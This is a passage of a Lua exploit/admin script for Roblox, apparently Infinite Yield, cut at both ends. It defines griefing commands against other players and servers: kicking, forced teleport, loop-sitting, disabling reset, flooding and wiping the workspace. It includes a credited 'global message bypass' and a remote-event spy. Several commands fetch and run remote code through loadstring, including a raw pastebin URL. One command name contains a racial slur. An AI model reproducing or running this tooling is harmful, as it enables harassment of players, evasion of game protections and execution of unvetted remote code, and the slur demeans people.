addcmd('deleteclass', 'removes any part with a certain classname from the


workspace',{'removeclass','deleteclassname','removeclassname','dc'},
function(args, speaker)
part = GLS(false, 0)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v.ClassName:lower() == part:lower() then v:Destroy() end
dels(v)
end
end
dels(workspace)
Notify('Deleted items with ClassName ' ..GLS(false, 0))
end)

addcmd('blur', 'adjusts blur',{},


function(args, speaker)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v:IsA'BlurEffect'then v:Destroy()end
dels(v)
end
end
dels(LightingService)

local b = Instance.new("BlurEffect", LightingService)


b.Name = "IYblur"
b.Size = args[1]
end)

addcmd('distortsound','changes volume of sound',{'distort'},


function(args, speaker)
for i,v in pairs(workspace:GetChildren())do
if v:IsA("Sound") and v.Name == "IYsound" then
v:ClearAllChildren ()
local d = Instance.new('DistortionSoundEffect')
d.Parent = v
d.Level = args[1]
Notify('Changed distortion to ' .. args[1])
end
end
end)

addcmd('volume','changes volume of sound',{'vol'},


function(args, speaker)
for i,v in pairs(workspace:GetChildren())do
if v:IsA("Sound") and v.Name == "IYsound" then
v.Volume = args[1]
Notify('Changed volume to ' .. args[1])
end
end
end)

addcmd('pitch','changes pitch of sound',{},


function(args, speaker)
for i,v in pairs(workspace:GetChildren())do
if v:IsA("Sound") and v.Name == "IYsound" then
v.Pitch = args[1]
Notify('Changed pitch to ' .. args[1])
end
end
end)

addcmd('loadmap', 'spawns a map',{},


function(args, speaker)
local m = args[1]
for _,v in pairs(workspace:GetChildren()) do
if not v:IsA("Terrain") and v ~= workspace.CurrentCamera and not
gPlayers:GetPlayerFromCharacter(v) then
v:Destroy() elseif v:IsA("Terrain") then v:Clear() end end
for i,v in pairs(workspace.Terrain:GetChildren()) do v:Destroy() end
wait(1)
local map = game:GetService("InsertService"):LoadLocalAsset("rbxassetid://" .. m)
map.Parent = workspace
end)

addcmd('loadm','loads global messaging',{}, -- global message method by HARKINIAN @


V3RMILLION
function(args, speaker)
msghook()
if MSGhook == false then
local localp = game:GetService'Players'.LocalPlayer
localp.CharacterAppearanceId = 20018
localp.Character:BreakJoints()
repeat wait() until localp.Character:FindFirstChild'BunnyEarsOfCaprice'
Instance.new("ForceField", localp.Character)
repeat wait() until
localp.Character.BunnyEarsOfCaprice.Handle:FindFirstChild'BunnyTools'
_G.mainhat = localp.Character:FindFirstChild'BunnyEarsOfCaprice':Clone()
localp.CharacterAppearanceId = 0
localp.Character:BreakJoints()
if _G.mainhat ~= nil then
local main = _G.mainhat.Handle.BunnyTools.EggScript3:Clone()
local part = Instance.new('Part')
part.Anchored = true
part.Transparency = 1
main.Disabled = false
main.Parent = part
_G.mainhat.Handle.BunnyTools.EggMesh3:Clone().Parent = part
part.Parent = localp.Character
part.CFrame = localp.Character.HumanoidRootPart.CFrame
repeat wait() until localp:FindFirstChild'ChessMsg'
part:Destroy()
local message = localp:FindFirstChild'ChessMsg'
message.Text = ''
message.Parent = workspace
message.Name = "IYmessage"
if part ~= nil then part:Destroy() end
localp.Character.HumanoidRootPart.Anchored = false
for _, child in pairs( workspace:GetChildren()) do
if child.Name == "Part" and child.Size == Vector3.new(8, 0.4, 8) then
child:Destroy()
end
end
if localp.Character:FindFirstChild'ForceField' then
localp.Character.ForceField:Destroy() end
if _G.msg ~= nil then
Notify('Loaded global message bypass')
else
execCmd("loadm")
end
end
elseif MSGhook == true then
Notify('Messages already loaded!')
end
end)

addcmd('countdown', 'makes a countdown', {},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if args[1] ~= string then
local time = args[1]
msghook()
if MSGhook == true then
local h = workspace.IYmessage
for i = time, 1, -1 do
wait(1)
h.Text = "Countdown: "..i..""
end
wait(1)
h.Text = "Times Up!"
wait(2)
h.Text = ''
elseif MSGhook == false then
execCmd("loadm")
repeat wait() until workspace:FindFirstChild("IYmessage")
local h = workspace.IYmessage
for i = time, 1, -1 do
wait(1)
h.Text = "Countdown: "..i..""
end
wait(1)
h.Text = "Times Up!"
wait(2)
h.Text = ''
end
end
end)

addcmd('explode', 'explode a player', {},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i, v in pairs(players) do
local char = _char(v)
if char:FindFirstChild("HumanoidRootPart") then
Instance.new("Explosion", char).Position =
char.HumanoidRootPart.Position
end
end
end)

addcmd('flood', 'makes a flood e.e', {},


function(args, speaker)
workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100),
Vector3int16.new(100,100,100)), 17, "Solid", "X")
end)

addcmd('spookyify', 'makes it sp00ky', {},


function(args, speaker)
local music = Instance.new("Sound", workspace)
music.SoundId = "http://www.roblox.com/asset/?id=257569267"
music.Volume = 20
music.Looped = true
music:Play()

tex1 = "http://www.roblox.com/asset/?id=185495987"
tex2 = "http://www.roblox.com/asset/?id=260858020"
tex3 = "http://www.roblox.com/asset/?id=149213919"
tex4 = "http://www.roblox.com/asset/?id=171905673"

local w = workspace:GetChildren()

for i= 1,#w do
if w[i]:isA("BasePart") then
pe = Instance.new("ParticleEmitter", w[i])
pe.Texture = tex4
pe.VelocitySpread = 5
end
end

local playerLeaderstats = {}
for i, v in pairs(gPlayers:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.HumanoidRootPart)
pe.Texture = "http://www.roblox.com/asset/?id=171905673"
pe.VelocitySpread = 50
end

texture = "http://www.roblox.com/asset/?id=185495987"

local A = workspace:GetChildren()
local B = workspace:GetChildren()
local C = workspace:GetChildren()
local D = workspace:GetChildren()
local E = workspace:GetChildren()
local F = workspace:GetChildren()
for i,v in pairs(A) do
if v:IsA("Part") then
local d = Instance.new("Decal",v)
v.Decal.Face = "Top"
v.Decal.Texture = texture
v.Anchored = true
end
end

for i,v in pairs(B) do


if v:IsA("Part") then
local s = Instance.new("Decal",v)
s.Face = "Front"
s.Texture = texture
end
end

for i,v in pairs(C) do


if v:IsA("Part") then
local h = Instance.new("Decal",v)
h.Face = "Back"
h.Texture = texture
end
end

for i,v in pairs(D) do


if v:IsA("Part") then
local j = Instance.new("Decal",v)
j.Face = "Left"
j.Texture = texture
end
end

for i,v in pairs(E) do


if v:IsA("Part") then
local k = Instance.new("Decal",v)
k.Face = "Right"
k.Texture = texture
end
end

for i,v in pairs(F) do


if v:IsA("Part") then
local l = Instance.new("Decal",v)
l.Face = "Bottom"
l.Texture = texture
end

imageOne = "http://www.roblox.com/asset/?id=169585459"
imageTwo = "http://www.roblox.com/asset/?id=169585475"
imageThree = "http://www.roblox.com/asset/?id=169585485"
imageFour = "http://www.roblox.com/asset/?id=169585502"
imageFive = "http://www.roblox.com/asset/?id=169585515"
imageSix = "http://www.roblox.com/asset/?id=169585502"
imageSeven = "http://www.roblox.com/asset/?id=169585485"
imageEight = "http://www.roblox.com/asset/?id=169585475"

Spooky = Instance.new("Sound", workspace)


Spooky.Name = "Spooky"
Spooky.SoundId = "rbxassetid://174270407"
Spooky.Volume = 15
Spooky.Looped = true
Spooky:Play()

Sky = Instance.new("Sky", LightingService)


Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne

while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.15)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.15)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.15)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.15)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.15)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.15)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.15)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.15)

end
end
end)

addcmd('invisible', 'make a player invisible',{'invis'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i, v in pairs(players) do
for k, v2 in pairs(_char(v):GetChildren()) do
if v2.className == "Part" then
if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 1 end
elseif v2.className == "Accessory" then
if v2:FindFirstChild("Handle") then
v2.Handle.Transparency = 1
end
end
if v2:FindFirstChild("face") then
v2.face.Transparency = 1
end
end
end
end)

addcmd('visible', 'make a player visible',{'vis'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i, v in pairs(players) do
for k, v2 in pairs(_char(v):GetChildren()) do
if v2.className == "Part" then
if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 0
end elseif v2.className == "Accessory" then
if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 0 end
end
if v2:FindFirstChild("face") then
v2.face.Transparency = 0
end
end
end
end)

addcmd('goto', 'go to a player',{'to'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if _char(players[1]) ~= nil then
if speaker.Character:FindFirstChild("Humanoid") then
speaker.Character.Humanoid.Jump = true
end
speaker.Character:MoveTo(_char(players[1]).HumanoidRootPart.Position)
end
end)

addcmd('bring', 'bring a player to you',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v) ~= nil then
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Jump = true
_char(v):MoveTo(speaker.Character.HumanoidRootPart.Position)
end
wait(0.1)
_char(v):MoveTo(speaker.Character.HumanoidRootPart.Position)
end
end
end)
addcmd('tp', 'teleport player 1 to player 2',{},
function(args, speaker)
local players1=getPlayer(args[1], speaker)
local players2=getPlayer(args[2], speaker)
if not players2[1] then return end
for i,v in pairs(players1) do
if _char(v) ~= nil and _char(players2[1]) ~= nil then
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Jump = true
_char(v):MoveTo(_char(players2[1]).HumanoidRootPart.Position)
end
wait(0.1)
_char(v):MoveTo(_char(players2[1]).HumanoidRootPart.Position)
end
end
end)

local WayPoints = {}
addcmd("savepos","sets a waypoint at the speaker's position",{'spos'},
function(args, speaker)
local WPName = tostring(GLS(false, 0))
if speaker.Character:findFirstChild("HumanoidRootPart") then
Notify("Created waypoint: "..GLS(false, 0))
local torso = speaker.Character:findFirstChild("HumanoidRootPart")
WayPoints[#WayPoints + 1] = {NAME = WPName, COORD =
{math.floor(torso.Position.X), math.floor(torso.Position.Y),
math.floor(torso.Position.Z)}}
updatepositions()
end
end)

addcmd("deletepos","sets a waypoint at the speaker's position",{'dpos'},


function(args, speaker)
for i,v in pairs(WayPoints) do
if v.NAME == tostring(GLS(false, 0)) then
Notify("Deleted waypoint: " .. v.NAME)
table.remove(WayPoints, i)
updatepositions()
end end
end)

addcmd("loadpos","teleports a player to a waypoint",{'lpos'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
local WPName = tostring(GLS(false, 1))
for i,v in pairs(players) do
if gPlayers[v] and gPlayers[v].Character then
for i,_ in pairs(WayPoints) do
local x = WayPoints[i].COORD[1]
local y = WayPoints[i].COORD[2]
local z = WayPoints[i].COORD[3]
if tostring(WayPoints[i].NAME) == tostring(WPName) then
gPlayers[v].Character.HumanoidRootPart.CFrame =
CFrame.new(x,y,z)
end
end
end
end
end)

addcmd('charplr','charplr [plr] [plr]',{'cp'},


function(args, speaker)
local players1, players2 = getPlayer(args[1], speaker), getPlayer(args[2],
speaker)
for i,v in pairs(players1) do for a,b in pairs(players2) do
if _players[v].Character and _players[b].Character then
_players[v].CharacterAppearanceId = _players[b].userId
refresh(_players[v])
end
end
end
end)

addcmd('copytools', 'copys the tools from a players backpack',


{'ctools','clonetools'},
function(args, speaker)
local players1, players2 = getPlayer(args[1], speaker), getPlayer(args[2],
speaker)
for i,v in pairs(players1) do for a,b in pairs(players2) do
spawn(function()
for i,v in pairs(_players[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
if not _players[b] then
v:Clone().Parent = speaker.Backpack
else v:Clone().Parent = _players[b].Backpack
end
end
end
end)
end
end
end)

addcmd('char', 'change a players appearance',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if not args[1]or not args[2]then return end
local id=args[2]
if players ~= nil then
for i,v in pairs(players) do
gPlayers[v].CharacterAppearanceId = id
refresh(gPlayers[v])
end
end
end)

addcmd('unchar', 'change a players appearance to default',


{'nochar','uncp','nocp','uncharplr','nocharplr'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
if players ~= nil then
for i,v in pairs(players) do
gPlayers[v].CharacterAppearanceId = 0
refresh(gPlayers[v])
end
end
end)
addcmd('speed', 'change a players walkspeed',{'ws'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
if not args[1]or not args[2]then return end
local num=args[2]
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.WalkSpeed=tonumber(num)
end
end
end)

addcmd('jump', 'forces a player to jump',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Jump = true
end
end
end)

jumping = {}
addcmd('loopjump','like a bunny :)',{'ljump'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(jumping, _players[v].Name) then return end
table.insert(jumping, _players[v].Name)
repeat wait(0.01)
if _players[v].Character ~= nil and
_players[v].Character:FindFirstChild("Humanoid") then
if _players[v].Character.Humanoid.Jump ~= true then
_players[v].Character.Humanoid.Jump = true end end
until not FindTable(jumping, _players[v].Name)
end)
end
end)

addcmd('unljump','unjails player',{'noljump','unloopjump','noloopjump'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(jumping) do if b == _players[v].Name then
table.remove(jumping, a) end end
end)
end
end)

addcmd('sit', 'sit a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Sit = true
end
end
end)

sitting = {}
addcmd('loopsit','very annoying',{'lsit'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(sitting, _players[v].Name) then return end
table.insert(sitting, _players[v].Name)
repeat wait(0.01)
if _players[v].Character ~= nil and
_players[v].Character:FindFirstChild("Humanoid") then
if _players[v].Character.Humanoid.Sit ~= true then
_players[v].Character.Humanoid.Sit = true end end
until not FindTable(sitting, _players[v].Name)
end)
end
end)

addcmd('unlsit','unjails player',{'nolsit','unloopsit','noloopsit'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(sitting) do if b == _players[v].Name then
table.remove(sitting, a) end end
end)
end
end)

addcmd('strength',' strong',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
end
end
end)
end
end)

addcmd('weaken',' weak',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
end
end
end)
end
end)
addcmd('unweaken',' undoes strength and weaken',{'unstrength'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for _, child in pairs( _players[v].Character:GetDescendants()) do
if child.ClassName == "Part" then
child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
end
end
end)
end
end)

addcmd('trip','makes a player trip',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if _players[v].Character:findFirstChild("Right Leg") then -- credz to
Zwolf#3762
local dir = _players[v].Character:findFirstChild("Right Leg")
dir.Anchored = true
if dir.Anchored == true then
wait(.5)
_players[v].Character.Humanoid.Sit = true
wait(1)
_players[v].Character.Humanoid.Sit = false
dir.Anchored = false
end
end
end)
end
end)

oofing = false
addcmd('loopoof','very VERY annoying',{},
function(args, speaker)
oofing = true
repeat wait(0.01)
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true end
end
end
end
until oofing == false
end)

addcmd('unloopoof','stops the oof chaos',{},


function(args, speaker)
oofing = false
end)

addcmd('jpower', 'change a players jump height',{'grav','jumppower','jp'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if not args[1]or not args[2]then return end
local num=args[2]
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.JumpPower=tonumber(num)
end
end
end)

addcmd('confuse', 'confusing...',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.Name = "ConfusedNigga"
while true do
_char(v).ConfusedNigga.CameraOffset = Vector3.new(2, 4, 6)
_char(v).ConfusedNigga.WalkToPoint = Vector3.new(math.random(1,100),
math.random(1,100), math.random(1,100))
wait(0.1)
end

end
end)
end
end)

addcmd('unconfuse', 'not confusing...',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
if _char(v):FindFirstChild("ConfusedNigga") then
_char(v).ConfusedNigga.Name = "Humanoid"
wait(0.3)
_char(v).Humanoid.CameraOffset = Vector3.new(0, 0, 0)

end
end)
end
end)

addcmd('cripple', 'cripples a player xddd',{'stun'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.PlatformStand = true
end
end
end)

addcmd('uncripple', 'un cripples a player xddd',{'unstun'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.PlatformStand = false
end
end
end)

addcmd('hipheight', 'adjusts hip height',{'hheight'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.HipHeight = args[2]
end
end
end)

addcmd('face', 'change a players face',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
if _char(v).Head:FindFirstChild("face") then
_char(v).Head.face.Texture = "rbxassetid://" .. args[2]
end
end
end)

addcmd('time', 'change the time of day',{},


function(args, speaker)
if not args[1]then return end
Notify('Time set to ' .. args[1])
LightingService.ClockTime = args[1]
end)

addcmd('day', 'change the time to day',{},


function(args, speaker)
LightingService.ClockTime = 15
end)

addcmd('night', 'change the time of night',{},


function(args, speaker)
LightingService.ClockTime = 0
end)

addcmd('globalshadows', 'changes the lighting property',{'gshadows'},


function(args, speaker)
Notify('Turned on global shadows')
LightingService.GlobalShadows = true
end)

addcmd('unglobalshadows', 'changes the lighting property',


{'nogshadows','ungshadows','noglobalshadows'},
function(args, speaker)
Notify('Turned off global shadows')
LightingService.GlobalShadows = false
end)

addcmd('outlines', 'changes the lighting property',{},


function(args, speaker)
Notify('Turned on outlines')
LightingService.Outlines = true
end)
addcmd('unoutlines', 'changes the lighting property',{'nooutlines'},
function(args, speaker)
Notify('Turned off outlines')
LightingService.Outlines = false
end)

addcmd('brightness', 'changes the lighting property',{},


function(args, speaker)
Notify('Set brightness to ' .. args[1])
LightingService.Brightness = args[1]
end)

addcmd('age','tells you the age of a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
for i,v in pairs(players) do
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = _players[v].Name,
Text = 'Age: '.._players[v].AccountAge,
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]].._players[v].Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
end
end
end)

addcmd('remotespy', 'prints remotes',{'remotes'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify('Printing remotes')
function getem(o)
for i,v in pairs(o:children())do
if string.match(v.ClassName, "RemoteEvent") or string.match(v.ClassName,
"RemoteFunction") then
print("Name: "..v.Name.." | ".."Type: "..v.ClassName.." | ".."Location:
".."game."..v:GetFullName())
end
getem(v)
end
end
pcall(getem,game)
end
end)

addcmd('f3x', 'loads f3x tools',{'fex'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
loadstring(game:GetService("InsertService"):LoadLocalAsset("rbxassetid://
1059691823").Source)()
end
end)

addcmd('kick', 'kick a player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
if FindTable(SPC, args[1]) then Notify('Kicked ' ..args[1]) else
Notify('Kicked player(s)') end
kickF(gPlayers[v])
end) end end)

function fadelock(id)
if lockic.ImageTransparency ~= 1 then
for i=1, 10 do
lockic.ImageTransparency = lockic.ImageTransparency + 0.1
wait(0.01)
end
lockic.ImageTransparency = 1
end
if id ~= 'off' then
lockic.Image = id
wait(0.2)
for i=1, 10 do
lockic.ImageTransparency = lockic.ImageTransparency - 0.1
wait(0.01)
end
lockic.ImageTransparency = 0
end end

addcmd('serverlock', 'lock teh server',{'slock'},


function(args, speaker)
slock = true
agelock = false
Notify('Locked Server')
fadelock("rbxassetid://1495252742")
end)

addcmd('unserverlock', 'unlock teh server',{'unslock'},


function(args, speaker)
slock = false
Notify('Unlocked Server')
if lockic.Image == "rbxassetid://1495252742" then
fadelock('off')
end
end)

addcmd('agelock', 'lock teh server for a certain age',{'alock'},


function(args, speaker)
if isNumber(args[1]) then
Notify('Set the age lock to age ' .. args[1])
isagelocked = true
slock = false
agelock = tonumber(args[1])
fadelock("rbxassetid://1495252495")
end
end)
addcmd('unagelock', 'lock teh server for a certain age',
{'unalock','noagelock','noalock'},
function(args, speaker)
Notify('Disabled age lock')
isagelocked = false
if lockic.Image == "rbxassetid://1495252495" then
fadelock('off')
end
end)

addcmd('unlockws', 'unlock the whole workspace',{},


function(args, speaker)
Notify('Workspace unlocked')
wait(1)
local function unlock(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Locked = false
end
unlock(v)
end
end
unlock(workspace)
end)

addcmd('lockws', 'lock the whole workspace',{},


function(args, speaker)
Notify('Workspace locked')
wait(1)
local function lock(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Locked = true
end
lock(v)
end
end
lock(workspace)
end)

addcmd('unanchorws', 'unanchor the whole workspace',{'unanchor', 'unanchr'},


function(args, speaker)
local function unanchor(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored=false
end
unanchor(v)
end
end
unanchor(workspace)
end)

addcmd('anchorws', 'anchor the whole workspace',{'anchor'},


function(args, speaker)
local function anchor(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored=true
end
anchor(v)
end
end
anchor(workspace)
end)

addcmd('clear', 'resets Workspace to a baseplate',{'clearws','clearworkspace'},


function()
for _,v in pairs(workspace:GetChildren()) do
if not v:IsA("Terrain") and v ~= workspace.CurrentCamera and not
gPlayers:GetPlayerFromCharacter(v) then
v:Destroy()
elseif v:IsA("Terrain") then
v:Clear()
end
end
for i,v in pairs(workspace.Terrain:GetChildren()) do v:Destroy() end
local p = Instance.new("Part", workspace)
p.Anchored = true
p.FormFactor = "Symmetric"
p.Size = Vector3.new(1000,1,1000)
p.Position = Vector3.new(0,0,0)
p.BrickColor = BrickColor.new("Bright green")
p.Material = "Grass"
p.Locked = true
end)

addcmd('headshake', 'shakes a players head',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
spawn(function()
local shaken = gPlayers[v].Character
for X = 1, math.huge, 0.2 do
wait()
shaken.Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0)
shaken.Torso.Neck.C1 = CFrame.new(0,0,0)
end
for X = 1, math.huge, 0.1 do
wait()
shaken.Torso.Neck.C0 = CFrame.new(0,1.5,0) *
CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
shaken.Torso.Neck.C1 = CFrame.new(0,0,0)
end
for _,c in pairs(gPlayers:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
end
for _,c in pairs(gPlayers:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end)
end
end)

addcmd('explorer', 'opens DEX',{'dex'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
loadstring(game:GetObjects("rbxassetid://418957341")[1].Source)()
end
end)

addcmd('iyspam', '/shrug',{},
function(args, speaker)
loadstring(game:HttpGet(('https://pastebin.com/raw/aJ15LAbN'),true))()
end)

addcmd('firstp', 'forces player to go into first person',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
gPlayers[v].CameraMode = "LockFirstPerson"
end
end)

addcmd('lock', 'locks a players body parts',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
for i,v in pairs(gPlayers[v].Character:GetDescendants()) do
if v:IsA("Part") then
v.Locked = true
end end end
end)

addcmd('unlock', 'locks a players body parts',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
for i,v in pairs(gPlayers[v].Character:GetDescendants()) do
if v:IsA("Part") then
v.Locked = false
end end end
end)

addcmd('disablereset', 'makes a player unable to reset',{'noreset'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
gPlayers[v].Character.Humanoid.Name = "HumanoidIY"
if FindTable(SPC, args[1]) then Notify('Disabled reset for ' .. args[1]) else
Notify('Disabled reset for player(s)') end
end)
end
end)

addcmd('enablereset', 'makes a player unable to reset',{'reset'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
gPlayers[v].Character.HumanoidIY.Name = "Humanoid"
if FindTable(SPC, args[1]) then Notify('Enabled reset for ' .. args[1]) else
Notify('Enabled reset for player(s)') end
end)
end
end)

addcmd("fixlighting","Removes effects from lighting",{'fixl'},


function(args,speaker)
for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
if v:IsA("PostEffect") then
v:Destroy()
end
end
LightingService.Ambient = origsettings.abt
LightingService.OutdoorAmbient = origsettings.oabt
LightingService.Brightness = origsettings.brt
LightingService.TimeOfDay = origsettings.time
LightingService.FogColor = origsettings.fclr
LightingService.FogEnd = origsettings.fe
LightingService.FogStart = origsettings.fs
end)

addcmd("savelighting","Removes effects from lighting",{'slighting'},


function(args,speaker)
origsettings = {abt = LightingService.Ambient, oabt =
LightingService.OutdoorAmbient, brt = LightingService.Brightness, time =
LightingService.TimeOfDay, fclr = LightingService.FogColor, fe =
LightingService.FogEnd, fs = LightingService.FogStart}
Notify('Saved lighting settings')
end)

addcmd("blackandwhite","Makes the game black and white",{},


function(args,speaker)
local lighting = game:GetService("Lighting")
local effect = Instance.new("ColorCorrectionEffect",lighting)
effect.Saturation = -1
end)

addcmd("invert","Makes the game inverted",{},


function(args,speaker)
local lighting = game:GetService("Lighting")
local effect = Instance.new("ColorCorrectionEffect",lighting)
effect.Saturation = -1
local effect = Instance.new("ColorCorrectionEffect",lighting)
effect.Saturation = -1
end)

addcmd("sun","Intensifys the sun",{},


function(args,speaker)
local intense = args[1] or 0.25
local spread = args[2] or 1
local lighting = game:GetService("Lighting")
local effect = Instance.new("SunRaysEffect",lighting)
effect.Name = "IYsun"
effect.Intensity = tonumber(intense)
effect.Spread = tonumber(spread)
end)

addcmd('base', 'spawns a base',{},


function(args, speaker)
